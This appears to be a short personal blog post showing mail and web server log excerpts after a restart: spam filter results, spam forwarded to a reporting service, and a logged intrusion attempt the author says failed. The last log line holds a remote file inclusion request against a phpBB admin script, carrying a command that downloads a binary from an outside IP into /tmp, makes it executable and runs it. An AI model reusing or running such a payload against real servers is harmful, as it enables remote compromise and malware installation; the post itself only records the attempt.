What's the first thing that happens when the server is back on ?
The mail server starts boucing spam (to BlueFrog - go install it !), and Something Nasty from 203.145.133.246 tries (and fails) to get in):

Dec 17 17:27:03 bookcase spamd[1029]: result: Y 29 - BAYES_99,BODY_8BITS,CHARSET_FARAWAY, CHARSET_FARAWAY_HEADER,INVALID_MSGID, MIME_CHARSET_FARAWAY,NO_REAL_NAME,RAZOR2_CF_RANGE_51_100, RAZOR2_CHECK,RCVD_IN_BL_SPAMCOP_NET, UNWANTED_LANGUAGE_BODY,URIBL_OB_SURBL,URIBL_SBL,URIBL_SC_SURBL scantime=8.9,size=2437,mid=<20030413202435.37313mail@mail.love-sexlife88545879889_woman-server889_womansystem01_woman-sexlife-love.tv>,bayes=0.999999470421768,autolearn=no
Dec 17 17:27:04 bookcase sendmail[1423]: jBHHQrm01422: to="|exec /usr/local/bin/procmail -f- || exit 75", ctladdr=XXXX (500/500), delay=00:00:11, xdelay=00:00:10, mailer=prog, pri=31424, dsn=2.0.0, stat=Sent
Dec 17 17:27:04 bookcase sendmail[1428]: jBHHR4d01428: from=XXXX, size=5865, class=0, nrcpts=1, msgid=20030413202435.37313mail@mail.love-sexlife88545879889_woman-server889_womansystem01_woman-sexlife-lo, bodytype=8BITMIME, relay=XXXX@localhost
Dec 17 17:27:04 bookcase sendmail[1431]: jBHHR4d01428: to=falken@reports.bluesecurity.com, ctladdr=XXXX (500/500), delay=00:00:00, xdelay=00:00:00, mailer=relay, pri=35865, relay=YYYY. [NNNN], dsn=2.0.0, stat=Sent (OK id=1Enfpo-0006Wp-Kp)
Dec 17 17:25:08 bookcase pound: bad request "GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.15.209.4/criman;chmod%20744%20criman;./criman;echo%20YYY;echo| HTTP/1.1" from 203.145.133.246